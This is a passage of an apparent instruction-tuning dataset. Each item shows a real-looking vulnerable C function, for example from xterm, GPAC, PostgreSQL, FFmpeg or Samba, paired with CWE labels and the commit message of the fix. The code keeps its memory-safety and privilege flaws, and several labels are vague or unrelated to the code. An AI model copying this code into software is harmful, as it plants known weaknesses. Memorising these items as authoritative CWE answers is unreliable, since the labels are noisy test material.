output_content = proxyToClash(nodes, base_content, lRulesetContent, lCustomProxyGroups, argTarget == "clashr", ext); } if(argUpload) uploadGist(argTarget, argUploadPath, output_content, false); break; case "surge"_hash: writeLog(0, "Generate target: Surge " + std::to_string(intSurgeVer), LOG_LEVEL_INFO); if(ext.nodelist) { output_content = proxyToSurge(nodes, base_content, dummy_ruleset, dummy_group, intSurgeVer, ext); if(argUpload) uploadGist("surge" + argSurgeVer + "list", argUploadPath, output_content, true); } else { if(render_template(fetchFile(lSurgeBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0) { *status_code = 400; return base_content; } output_content = proxyToSurge(nodes, base_content, lRulesetContent, lCustomProxyGroups, intSurgeVer, ext); if(argUpload) uploadGist("surge" + argSurgeVer, argUploadPath, output_content, true); if(global.writeManagedConfig && global.managedConfigPrefix.size()) output_content = "#!MANAGED-CONFIG " + managed_url + (interval ? " interval=" + std::to_string(interval) : "") \ + " strict=" + std::string(strict ? "true" : "false") + "\n\n" + output_content; } break; case "surfboard"_hash: writeLog(0, "Generate target: Surfboard", LOG_LEVEL_INFO); if(render_template(fetchFile(lSurfboardBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0) { *status_code = 400; return base_content; } output_content = proxyToSurge(nodes, base_content, lRulesetContent, lCustomProxyGroups, -3, ext); if(argUpload) uploadGist("surfboard", argUploadPath, output_content, true); if(global.writeManagedConfig && global.managedConfigPrefix.size()) output_content = "#!MANAGED-CONFIG " + managed_url + (interval ? " interval=" + std::to_string(interval) : "") \ + " strict=" + std::string(strict ? "true" : "false") + "\n\n" + output_content; break; case "mellow"_hash: writeLog(0, "Generate target: Mellow", LOG_LEVEL_INFO); if(render_template(fetchFile(lMellowBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0) { *status_code = 400; return base_content; } output_content = proxyToMellow(nodes, base_content, lRulesetContent, lCustomProxyGroups, ext); if(argUpload) uploadGist("mellow", argUploadPath, output_content, true); break; case "sssub"_hash: writeLog(0, "Generate target: SS Subscription", LOG_LEVEL_INFO); if(render_template(fetchFile(lSSSubBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0) { *status_code = 400; return base_content; } output_content = proxyToSSSub(base_content, nodes, ext); if(argUpload) uploadGist("sssub", argUploadPath, output_content, false); break; case "ss"_hash: writeLog(0, "Generate target: SS", LOG_LEVEL_INFO); output_content = proxyToSingle(nodes, 1, ext); if(argUpload) uploadGist("ss", argUploadPath, output_content, false); break; case "ssr"_hash: writeLog(0, "Generate target: SSR", LOG_LEVEL_INFO); output_content = proxyToSingle(nodes, 2, ext); if(argUpload) uploadGist("ssr", argUploadPath, output_content, false); break; case "v2ray"_hash: writeLog(0, "Generate target: v2rayN", LOG_LEVEL_INFO); output_content = proxyToSingle(nodes, 4, ext); if(argUpload) uploadGist("v2ray", argUploadPath, output_content, false); break; case "trojan"_hash: writeLog(0, "Generate target: Trojan", LOG_LEVEL_INFO); output_content = proxyToSingle(nodes, 8, ext); if(argUpload) uploadGist("trojan", argUploadPath, output_content, false); break; case "mixed"_hash: writeLog(0, "Generate target: Standard Subscription", LOG_LEVEL_INFO); output_content = proxyToSingle(nodes, 15, ext); if(argUpload) uploadGist("sub", argUploadPath, output_content, false); break; case "quan"_hash: writeLog(0, "Generate target: Quantumult", LOG_LEVEL_INFO); if(!ext.nodelist) { if(render_template(fetchFile(lQuanBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0) { *status_code = 400; return base_content; } } output_content = proxyToQuan(nodes, base_content, lRulesetContent, lCustomProxyGroups, ext); if(argUpload) uploadGist("quan", argUploadPath, output_content, false); break; case "quanx"_hash: writeLog(0, "Generate target: Quantumult X", LOG_LEVEL_INFO); if(!ext.nodelist) { if(render_template(fetchFile(lQuanXBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0) { *status_code = 400; return base_content; } } output_content = proxyToQuanX(nodes, base_content, lRulesetContent, lCustomProxyGroups, ext); if(argUpload) uploadGist("quanx", argUploadPath, output_content, false); break; case "loon"_hash: writeLog(0, "Generate target: Loon", LOG_LEVEL_INFO); if(!ext.nodelist) { if(render_template(fetchFile(lLoonBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0) { *status_code = 400; return base_content; } } output_content = proxyToLoon(nodes, base_content, lRulesetContent, lCustomProxyGroups, ext); if(argUpload) uploadGist("loon", argUploadPath, output_content, false); break; case "ssd"_hash: writeLog(0, "Generate target: SSD", LOG_LEVEL_INFO); output_content = proxyToSSD(nodes, argGroupName, subInfo, ext); if(argUpload) uploadGist("ssd", argUploadPath, output_content, false); break; default: writeLog(0, "Generate target: Unspecified", LOG_LEVEL_INFO); *status_code = 500; return "Unrecognized target"; } writeLog(0, "Generate completed.", LOG_LEVEL_INFO); if(argFilename.size()) response.headers.emplace("Content-Disposition", "attachment; filename=\"" + argFilename + "\"; filename*=utf-8''" + urlEncode(argFilename)); return output_content; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-434', 'CWE-94'], 'message': 'Enhancements Add authorization check before loading scripts. Add detailed logs when loading preference settings.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: SaltTextAway(XtermWidget xw, int which, CELL *cellc, CELL *cell) { TScreen *screen = TScreenOf(xw); SelectedCells *scp; int i; int eol; int need = 0; Char *line; Char *lp; CELL first = *cellc; CELL last = *cell; if (which < 0 || which >= MAX_SELECTIONS) { TRACE(("SaltTextAway - which selection?\n")); return; } scp = &(screen->selected_cells[which]); TRACE(("SaltTextAway which=%d, first=%d,%d, last=%d,%d\n", which, first.row, first.col, last.row, last.col)); if (isSameRow(&first, &last) && first.col > last.col) { int tmp; EXCHANGE(first.col, last.col, tmp); } --last.col; /* first we need to know how long the string is before we can save it */ if (isSameRow(&last, &first)) { need = Length(screen, first.row, first.col, last.col); } else { /* two cases, cut is on same line, cut spans multiple lines */ need += Length(screen, first.row, first.col, screen->max_col) + 1; for (i = first.row + 1; i < last.row; i++) need += Length(screen, i, 0, screen->max_col) + 1; if (last.col >= 0) need += Length(screen, last.row, 0, last.col); } /* UTF-8 may require more space */ if_OPT_WIDE_CHARS(screen, { need *= 4; }); /* now get some memory to save it in */ if (need < 0) return; if (scp->data_limit <= (unsigned) need) { if ((line = (Char *) malloc((size_t) need + 1)) == 0) SysError(ERROR_BMALLOC2); free(scp->data_buffer); scp->data_buffer = line; scp->data_limit = (size_t) (need + 1); } else { line = scp->data_buffer; } if (line == 0) return; line[need] = '\0'; /* make sure it is null terminated */ lp = line; /* lp points to where to save the text */ if (isSameRow(&last, &first)) { lp = SaveText(screen, last.row, first.col, last.col, lp, &eol); } else { lp = SaveText(screen, first.row, first.col, screen->max_col, lp, &eol); if (eol) *lp++ = '\n'; /* put in newline at end of line */ for (i = first.row + 1; i < last.row; i++) { lp = SaveText(screen, i, 0, screen->max_col, lp, &eol); if (eol) *lp++ = '\n'; } if (last.col >= 0) lp = SaveText(screen, last.row, 0, last.col, lp, &eol); } *lp = '\0'; /* make sure we have end marked */ TRACE(("Salted TEXT:%u:%s\n", (unsigned) (lp - line), visibleChars(line, (unsigned) (lp - line)))); scp->data_length = (size_t) (lp - line); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-399'], 'message': 'snapshot of project "xterm", label xterm-365d'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static inline __u16 inet_getid(struct inet_peer *p, int more) { more++; inet_peer_refcheck(p); return atomic_add_return(more, &p->ip_id_count) - more; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-703'], 'message': 'ipv6: make fragment identifications less predictable IPv6 fragment identification generation is way beyond what we use for IPv4 : It uses a single generator. Its not scalable and allows DOS attacks. Now inetpeer is IPv6 aware, we can use it to provide a more secure and scalable frag ident generator (per destination, instead of system wide) This patch : 1) defines a new secure_ipv6_id() helper 2) extends inet_getid() to provide 32bit results 3) extends ipv6_select_ident() with a new dest parameter Reported-by: Fernando Gont <fernando@gont.com.ar> Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: GF_Err stbl_AddChunkOffset(GF_MediaBox *mdia, u32 sampleNumber, u32 StreamDescIndex, u64 offset, u32 nb_pack_samples) { GF_SampleTableBox *stbl; GF_ChunkOffsetBox *stco; GF_SampleToChunkBox *stsc; GF_ChunkLargeOffsetBox *co64; GF_StscEntry *ent; u32 i, k, *newOff, new_chunk_idx=0; u64 *newLarge; s32 insert_idx = -1; stbl = mdia->information->sampleTable; stsc = stbl->SampleToChunk; // if (stsc->w_lastSampleNumber + 1 < sampleNumber ) return GF_BAD_PARAM; if (!nb_pack_samples) nb_pack_samples = 1; if (!stsc->nb_entries || (stsc->nb_entries + 2 >= stsc->alloc_size)) { if (!stsc->alloc_size) stsc->alloc_size = 1; ALLOC_INC(stsc->alloc_size); stsc->entries = gf_realloc(stsc->entries, sizeof(GF_StscEntry)*stsc->alloc_size); if (!stsc->entries) return GF_OUT_OF_MEM; memset(&stsc->entries[stsc->nb_entries], 0, sizeof(GF_StscEntry)*(stsc->alloc_size-stsc->nb_entries) ); } if (sampleNumber == stsc->w_lastSampleNumber + 1) { ent = &stsc->entries[stsc->nb_entries]; stsc->w_lastChunkNumber ++; ent->firstChunk = stsc->w_lastChunkNumber; if (stsc->nb_entries) stsc->entries[stsc->nb_entries-1].nextChunk = stsc->w_lastChunkNumber; new_chunk_idx = stsc->w_lastChunkNumber; stsc->w_lastSampleNumber = sampleNumber + nb_pack_samples-1; stsc->nb_entries += 1; } else { u32 cur_samp = 1; u32 samples_in_next_entry = 0; u32 next_entry_first_chunk = 1; for (i=0; i<stsc->nb_entries; i++) { u32 nb_chunks = 1; ent = &stsc->entries[i]; if (i+1<stsc->nb_entries) nb_chunks = stsc->entries[i+1].firstChunk - ent->firstChunk; for (k=0; k<nb_chunks; k++) { if ((cur_samp <= sampleNumber) && (ent->samplesPerChunk + cur_samp > sampleNumber)) { insert_idx = i; //stsc entry has samples before inserted sample, split if (sampleNumber>cur_samp) { samples_in_next_entry = ent->samplesPerChunk - (sampleNumber-cur_samp); ent->samplesPerChunk = sampleNumber-cur_samp; } break; } cur_samp += ent->samplesPerChunk; next_entry_first_chunk++; } if (insert_idx>=0) break; } //we need to split the entry if (samples_in_next_entry) { memmove(&stsc->entries[insert_idx+3], &stsc->entries[insert_idx+1], sizeof(GF_StscEntry)*(stsc->nb_entries - insert_idx - 1)); //copy over original entry ent = &stsc->entries[insert_idx]; stsc->entries[insert_idx+2] = *ent; stsc->entries[insert_idx+2].samplesPerChunk = samples_in_next_entry; stsc->entries[insert_idx+2].firstChunk = next_entry_first_chunk + 1; //setup new entry ent = &stsc->entries[insert_idx+1]; ent->firstChunk = next_entry_first_chunk; stsc->nb_entries += 2; } else { if (insert_idx<0) { ent = &stsc->entries[stsc->nb_entries]; insert_idx = stsc->nb_entries; } else { memmove(&stsc->entries[insert_idx+1], &stsc->entries[insert_idx], sizeof(GF_StscEntry)*(stsc->nb_entries+1-insert_idx)); ent = &stsc->entries[insert_idx+1]; } ent->firstChunk = next_entry_first_chunk; stsc->nb_entries += 1; } new_chunk_idx = next_entry_first_chunk; } ent->isEdited = (Media_IsSelfContained(mdia, StreamDescIndex)) ? 1 : 0; ent->sampleDescriptionIndex = StreamDescIndex; ent->samplesPerChunk = nb_pack_samples; ent->nextChunk = ent->firstChunk+1; //OK, now if we've inserted a chunk, update the sample to chunk info... if (sampleNumber + nb_pack_samples - 1 == stsc->w_lastSampleNumber) { if (stsc->nb_entries) stsc->entries[stsc->nb_entries-1].nextChunk = ent->firstChunk; stbl->SampleToChunk->currentIndex = stsc->nb_entries-1; stbl->SampleToChunk->firstSampleInCurrentChunk = sampleNumber; //write - edit mode: sample number = chunk number stbl->SampleToChunk->currentChunk = stsc->w_lastChunkNumber; stbl->SampleToChunk->ghostNumber = 1; } else { /*offset remaining entries*/ for (i = insert_idx+1; i<stsc->nb_entries+1; i++) { stsc->entries[i].firstChunk++; if (i+1<stsc->nb_entries) stsc->entries[i-1].nextChunk = stsc->entries[i].firstChunk; } } //add the offset to the chunk... //and we change our offset if (stbl->ChunkOffset->type == GF_ISOM_BOX_TYPE_STCO) { stco = (GF_ChunkOffsetBox *)stbl->ChunkOffset; //if the new offset is a large one, we have to rewrite our table entry by entry (32->64 bit conv)... if (offset > 0xFFFFFFFF) { co64 = (GF_ChunkLargeOffsetBox *) gf_isom_box_new_parent(&stbl->child_boxes, GF_ISOM_BOX_TYPE_CO64); if (!co64) return GF_OUT_OF_MEM; co64->nb_entries = stco->nb_entries + 1; co64->alloc_size = co64->nb_entries; co64->offsets = (u64*)gf_malloc(sizeof(u64) * co64->nb_entries); if (!co64->offsets) return GF_OUT_OF_MEM; k = 0; for (i=0; i<stco->nb_entries; i++) { if (i + 1 == new_chunk_idx) { co64->offsets[i] = offset; k = 1; } co64->offsets[i+k] = (u64) stco->offsets[i]; } if (!k) co64->offsets[co64->nb_entries - 1] = offset; gf_isom_box_del_parent(&stbl->child_boxes, stbl->ChunkOffset); stbl->ChunkOffset = (GF_Box *) co64; } else { //no, we can use this one. if (new_chunk_idx > stco->nb_entries) { if (!stco->alloc_size) stco->alloc_size = stco->nb_entries; if (stco->nb_entries == stco->alloc_size) { ALLOC_INC(stco->alloc_size); stco->offsets = (u32*)gf_realloc(stco->offsets, sizeof(u32) * stco->alloc_size); if (!stco->offsets) return GF_OUT_OF_MEM; memset(&stco->offsets[stco->nb_entries], 0, sizeof(u32) * (stco->alloc_size-stco->nb_entries) ); } stco->offsets[stco->nb_entries] = (u32) offset; stco->nb_entries += 1; } else { //nope. we're inserting newOff = (u32*)gf_malloc(sizeof(u32) * (stco->nb_entries + 1)); if (!newOff) return GF_OUT_OF_MEM; k=0; for (i=0; i<stco->nb_entries; i++) { if (i+1 == new_chunk_idx) { newOff[i] = (u32) offset; k=1; } newOff[i+k] = stco->offsets[i]; } gf_free(stco->offsets); stco->offsets = newOff; stco->nb_entries ++; stco->alloc_size = stco->nb_entries; } } } else { //use large offset... co64 = (GF_ChunkLargeOffsetBox *)stbl->ChunkOffset; if (sampleNumber > co64->nb_entries) { if (!co64->alloc_size) co64->alloc_size = co64->nb_entries; if (co64->nb_entries == co64->alloc_size) { ALLOC_INC(co64->alloc_size); co64->offsets = (u64*)gf_realloc(co64->offsets, sizeof(u64) * co64->alloc_size); if (!co64->offsets) return GF_OUT_OF_MEM; memset(&co64->offsets[co64->nb_entries], 0, sizeof(u64) * (co64->alloc_size - co64->nb_entries) ); } co64->offsets[co64->nb_entries] = offset; co64->nb_entries += 1; } else { //nope. we're inserting newLarge = (u64*)gf_malloc(sizeof(u64) * (co64->nb_entries + 1)); if (!newLarge) return GF_OUT_OF_MEM; k=0; for (i=0; i<co64->nb_entries; i++) { if (i+1 == new_chunk_idx) { newLarge[i] = offset; k=1; } newLarge[i+k] = co64->offsets[i]; } gf_free(co64->offsets); co64->offsets = newLarge; co64->nb_entries++; co64->alloc_size++; } } return GF_OK; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'fixed #1774 (fuzz)'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: ExecCreateTableAs(CreateTableAsStmt *stmt, const char *queryString, ParamListInfo params, QueryEnvironment *queryEnv, char *completionTag) { Query *query = castNode(Query, stmt->query); IntoClause *into = stmt->into; bool is_matview = (into->viewQuery != NULL); DestReceiver *dest; Oid save_userid = InvalidOid; int save_sec_context = 0; int save_nestlevel = 0; ObjectAddress address; List *rewritten; PlannedStmt *plan; QueryDesc *queryDesc; if (stmt->if_not_exists) { Oid nspid; nspid = RangeVarGetCreationNamespace(stmt->into->rel); if (get_relname_relid(stmt->into->rel->relname, nspid)) { ereport(NOTICE, (errcode(ERRCODE_DUPLICATE_TABLE), errmsg("relation \"%s\" already exists, skipping", stmt->into->rel->relname))); return InvalidObjectAddress; } } /* * Create the tuple receiver object and insert info it will need */ dest = CreateIntoRelDestReceiver(into); /* * The contained Query could be a SELECT, or an EXECUTE utility command. * If the latter, we just pass it off to ExecuteQuery. */ if (query->commandType == CMD_UTILITY && IsA(query->utilityStmt, ExecuteStmt)) { ExecuteStmt *estmt = castNode(ExecuteStmt, query->utilityStmt); Assert(!is_matview); /* excluded by syntax */ ExecuteQuery(estmt, into, queryString, params, dest, completionTag); /* get object address that intorel_startup saved for us */ address = ((DR_intorel *) dest)->reladdr; return address; } Assert(query->commandType == CMD_SELECT); /* * For materialized views, lock down security-restricted operations and * arrange to make GUC variable changes local to this command. This is * not necessary for security, but this keeps the behavior similar to * REFRESH MATERIALIZED VIEW. Otherwise, one could create a materialized * view not possible to refresh. */ if (is_matview) { GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(save_userid, save_sec_context | SECURITY_RESTRICTED_OPERATION); save_nestlevel = NewGUCNestLevel(); } if (into->skipData) { /* * If WITH NO DATA was specified, do not go through the rewriter, * planner and executor. Just define the relation using a code path * similar to CREATE VIEW. This avoids dump/restore problems stemming * from running the planner before all dependencies are set up. */ address = create_ctas_nodata(query->targetList, into); } else { /* * Parse analysis was done already, but we still have to run the rule * rewriter. We do not do AcquireRewriteLocks: we assume the query * either came straight from the parser, or suitable locks were * acquired by plancache.c. * * Because the rewriter and planner tend to scribble on the input, we * make a preliminary copy of the source querytree. This prevents * problems in the case that CTAS is in a portal or plpgsql function * and is executed repeatedly. (See also the same hack in EXPLAIN and * PREPARE.) */ rewritten = QueryRewrite(copyObject(query)); /* SELECT should never rewrite to more or less than one SELECT query */ if (list_length(rewritten) != 1) elog(ERROR, "unexpected rewrite result for %s", is_matview ? "CREATE MATERIALIZED VIEW" : "CREATE TABLE AS SELECT"); query = linitial_node(Query, rewritten); Assert(query->commandType == CMD_SELECT); /* plan the query --- note we disallow parallelism */ plan = pg_plan_query(query, 0, params); /* * Use a snapshot with an updated command ID to ensure this query sees * results of any previously executed queries. (This could only * matter if the planner executed an allegedly-stable function that * changed the database contents, but let's do it anyway to be * parallel to the EXPLAIN code path.) */ PushCopiedSnapshot(GetActiveSnapshot()); UpdateActiveSnapshotCommandId(); /* Create a QueryDesc, redirecting output to our tuple receiver */ queryDesc = CreateQueryDesc(plan, queryString, GetActiveSnapshot(), InvalidSnapshot, dest, params, queryEnv, 0); /* call ExecutorStart to prepare the plan for execution */ ExecutorStart(queryDesc, GetIntoRelEFlags(into)); /* run the plan to completion */ ExecutorRun(queryDesc, ForwardScanDirection, 0L, true); /* save the rowcount if we're given a completionTag to fill */ if (completionTag) snprintf(completionTag, COMPLETION_TAG_BUFSIZE, "SELECT " UINT64_FORMAT, queryDesc->estate->es_processed); /* get object address that intorel_startup saved for us */ address = ((DR_intorel *) dest)->reladdr; /* and clean up */ ExecutorFinish(queryDesc); ExecutorEnd(queryDesc); FreeQueryDesc(queryDesc); PopActiveSnapshot(); } if (is_matview) { /* Roll back any GUC changes */ AtEOXact_GUC(false, save_nestlevel); /* Restore userid and security context */ SetUserIdAndSecContext(save_userid, save_sec_context); } return address; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-94'], 'message': 'In extensions, don't replace objects not belonging to the extension. Previously, if an extension script did CREATE OR REPLACE and there was an existing object not belonging to the extension, it would overwrite the object and adopt it into the extension. This is problematic, first because the overwrite is probably unintentional, and second because we didn't change the object's ownership. Thus a hostile user could create an object in advance of an expected CREATE EXTENSION command, and would then have ownership rights on an extension object, which could be modified for trojan-horse-type attacks. Hence, forbid CREATE OR REPLACE of an existing object unless it already belongs to the extension. (Note that we've always forbidden replacing an object that belongs to some other extension; only the behavior for previously-free-standing objects changes here.) For the same reason, also fail CREATE IF NOT EXISTS when there is an existing object that doesn't belong to the extension. Our thanks to Sven Klemm for reporting this problem. Security: CVE-2022-2625'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int dxtory_decode_v1_420(AVCodecContext *avctx, AVFrame *pic, const uint8_t *src, int src_size) { int h, w; uint8_t *Y1, *Y2, *U, *V; int ret; if (src_size < avctx->width * avctx->height * 3 / 2) { av_log(avctx, AV_LOG_ERROR, "packet too small\n"); return AVERROR_INVALIDDATA; } avctx->pix_fmt = AV_PIX_FMT_YUV420P; if ((ret = ff_get_buffer(avctx, pic, 0)) < 0) return ret; Y1 = pic->data[0]; Y2 = pic->data[0] + pic->linesize[0]; U = pic->data[1]; V = pic->data[2]; for (h = 0; h < avctx->height; h += 2) { for (w = 0; w < avctx->width; w += 2) { AV_COPY16(Y1 + w, src); AV_COPY16(Y2 + w, src + 2); U[w >> 1] = src[4] + 0x80; V[w >> 1] = src[5] + 0x80; src += 6; } Y1 += pic->linesize[0] << 1; Y2 += pic->linesize[0] << 1; U += pic->linesize[1]; V += pic->linesize[2]; } return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-190'], 'message': 'avcodec/dxtory: fix src size checks Fixes integer overflow Fixes out of array read Fixes: d104661bb59b202df7671fb19a00ca6c-asan_heap-oob_d6429d_5066_cov_1729501105_dxtory_mic.avi Found-by: Mateusz "j00ru" Jurczyk and Gynvael Coldwind Signed-off-by: Michael Niedermayer <michaelni@gmx.at>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static NTSTATUS setInfoTrustedDomain_base(struct dcesrv_call_state *dce_call, struct lsa_policy_state *p_state, TALLOC_CTX *mem_ctx, struct ldb_message *dom_msg, enum lsa_TrustDomInfoEnum level, union lsa_TrustedDomainInfo *info) { uint32_t *posix_offset = NULL; struct lsa_TrustDomainInfoInfoEx *info_ex = NULL; struct lsa_TrustDomainInfoAuthInfo *auth_info = NULL; struct lsa_TrustDomainInfoAuthInfoInternal *auth_info_int = NULL; uint32_t *enc_types = NULL; DATA_BLOB trustAuthIncoming, trustAuthOutgoing, auth_blob; struct trustDomainPasswords auth_struct; struct trustAuthInOutBlob *current_passwords = NULL; NTSTATUS nt_status; struct ldb_message **msgs; struct ldb_message *msg; bool add_outgoing = false; bool add_incoming = false; bool del_outgoing = false; bool del_incoming = false; bool del_forest_info = false; bool in_transaction = false; int ret; bool am_rodc; switch (level) { case LSA_TRUSTED_DOMAIN_INFO_POSIX_OFFSET: posix_offset = &info->posix_offset.posix_offset; break; case LSA_TRUSTED_DOMAIN_INFO_INFO_EX: info_ex = &info->info_ex; break; case LSA_TRUSTED_DOMAIN_INFO_AUTH_INFO: auth_info = &info->auth_info; break; case LSA_TRUSTED_DOMAIN_INFO_FULL_INFO: posix_offset = &info->full_info.posix_offset.posix_offset; info_ex = &info->full_info.info_ex; auth_info = &info->full_info.auth_info; break; case LSA_TRUSTED_DOMAIN_INFO_AUTH_INFO_INTERNAL: auth_info_int = &info->auth_info_internal; break; case LSA_TRUSTED_DOMAIN_INFO_FULL_INFO_INTERNAL: posix_offset = &info->full_info_internal.posix_offset.posix_offset; info_ex = &info->full_info_internal.info_ex; auth_info_int = &info->full_info_internal.auth_info; break; case LSA_TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES: enc_types = &info->enc_types.enc_types; break; default: return NT_STATUS_INVALID_PARAMETER; } if (auth_info) { nt_status = auth_info_2_auth_blob(mem_ctx, auth_info, &trustAuthIncoming, &trustAuthOutgoing); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } if (trustAuthIncoming.data) { /* This does the decode of some of this twice, but it is easier that way */ nt_status = auth_info_2_trustauth_inout(mem_ctx, auth_info->incoming_count, auth_info->incoming_current_auth_info, NULL, &current_passwords); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } } } /* decode auth_info_int if set */ if (auth_info_int) { /* now decrypt blob */ auth_blob = data_blob_const(auth_info_int->auth_blob.data, auth_info_int->auth_blob.size); nt_status = get_trustdom_auth_blob(dce_call, mem_ctx, &auth_blob, &auth_struct); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } } if (info_ex) { /* verify data matches */ if (info_ex->trust_attributes & LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE) { /* TODO: check what behavior level we have */ if (strcasecmp_m(p_state->domain_dns, p_state->forest_dns) != 0) { return NT_STATUS_INVALID_DOMAIN_STATE; } } ret = samdb_rodc(p_state->sam_ldb, &am_rodc); if (ret == LDB_SUCCESS && am_rodc) { return NT_STATUS_NO_SUCH_DOMAIN; } /* verify only one object matches the dns/netbios/sid * triplet and that this is the one we already have */ nt_status = get_tdo(p_state->sam_ldb, mem_ctx, p_state->system_dn, info_ex->domain_name.string, info_ex->netbios_name.string, info_ex->sid, &msgs); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } if (ldb_dn_compare(dom_msg->dn, msgs[0]->dn) != 0) { return NT_STATUS_OBJECT_NAME_COLLISION; } talloc_free(msgs); } /* TODO: should we fetch previous values from the existing entry * and append them ? */ if (auth_info_int && auth_struct.incoming.count) { nt_status = get_trustauth_inout_blob(dce_call, mem_ctx, &auth_struct.incoming, &trustAuthIncoming); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } current_passwords = &auth_struct.incoming; } else { trustAuthIncoming = data_blob(NULL, 0); } if (auth_info_int && auth_struct.outgoing.count) { nt_status = get_trustauth_inout_blob(dce_call, mem_ctx, &auth_struct.outgoing, &trustAuthOutgoing); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } } else { trustAuthOutgoing = data_blob(NULL, 0); } msg = ldb_msg_new(mem_ctx); if (msg == NULL) { return NT_STATUS_NO_MEMORY; } msg->dn = dom_msg->dn; if (posix_offset) { nt_status = update_uint32_t_value(mem_ctx, p_state->sam_ldb, dom_msg, msg, "trustPosixOffset", *posix_offset, NULL); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } } if (info_ex) { uint32_t origattrs; uint32_t changed_attrs; uint32_t origdir; int origtype; nt_status = update_uint32_t_value(mem_ctx, p_state->sam_ldb, dom_msg, msg, "trustDirection", info_ex->trust_direction, &origdir); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } if (info_ex->trust_direction & LSA_TRUST_DIRECTION_INBOUND) { if (auth_info != NULL && trustAuthIncoming.length > 0) { add_incoming = true; } } if (info_ex->trust_direction & LSA_TRUST_DIRECTION_OUTBOUND) { if (auth_info != NULL && trustAuthOutgoing.length > 0) { add_outgoing = true; } } if ((origdir & LSA_TRUST_DIRECTION_INBOUND) && !(info_ex->trust_direction & LSA_TRUST_DIRECTION_INBOUND)) { del_incoming = true; } if ((origdir & LSA_TRUST_DIRECTION_OUTBOUND) && !(info_ex->trust_direction & LSA_TRUST_DIRECTION_OUTBOUND)) { del_outgoing = true; } origtype = ldb_msg_find_attr_as_int(dom_msg, "trustType", -1); if (origtype == -1 || origtype != info_ex->trust_type) { DEBUG(1, ("Attempted to change trust type! " "Operation not handled\n")); return NT_STATUS_INVALID_PARAMETER; } nt_status = update_uint32_t_value(mem_ctx, p_state->sam_ldb, dom_msg, msg, "trustAttributes", info_ex->trust_attributes, &origattrs); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } /* TODO: check forestFunctionality from ldb opaque */ /* TODO: check what is set makes sense */ changed_attrs = origattrs ^ info_ex->trust_attributes; if (changed_attrs & ~LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE) { /* * For now we only allow * LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE to be changed. * * TODO: we may need to support more attribute changes */ DEBUG(1, ("Attempted to change trust attributes " "(0x%08x != 0x%08x)! " "Operation not handled yet...\n", (unsigned)origattrs, (unsigned)info_ex->trust_attributes)); return NT_STATUS_INVALID_PARAMETER; } if (!(info_ex->trust_attributes & LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE)) { struct ldb_message_element *orig_forest_el = NULL; orig_forest_el = ldb_msg_find_element(dom_msg, "msDS-TrustForestTrustInfo"); if (orig_forest_el != NULL) { del_forest_info = true; } } } if (enc_types) { nt_status = update_uint32_t_value(mem_ctx, p_state->sam_ldb, dom_msg, msg, "msDS-SupportedEncryptionTypes", *enc_types, NULL); if (!NT_STATUS_IS_OK(nt_status)) { return nt_status; } } if (add_incoming || del_incoming) { ret = ldb_msg_add_empty(msg, "trustAuthIncoming", LDB_FLAG_MOD_REPLACE, NULL); if (ret != LDB_SUCCESS) { return NT_STATUS_NO_MEMORY; } if (add_incoming) { ret = ldb_msg_add_value(msg, "trustAuthIncoming", &trustAuthIncoming, NULL); if (ret != LDB_SUCCESS) { return NT_STATUS_NO_MEMORY; } } } if (add_outgoing || del_outgoing) { ret = ldb_msg_add_empty(msg, "trustAuthOutgoing", LDB_FLAG_MOD_REPLACE, NULL); if (ret != LDB_SUCCESS) { return NT_STATUS_NO_MEMORY; } if (add_outgoing) { ret = ldb_msg_add_value(msg, "trustAuthOutgoing", &trustAuthOutgoing, NULL); if (ret 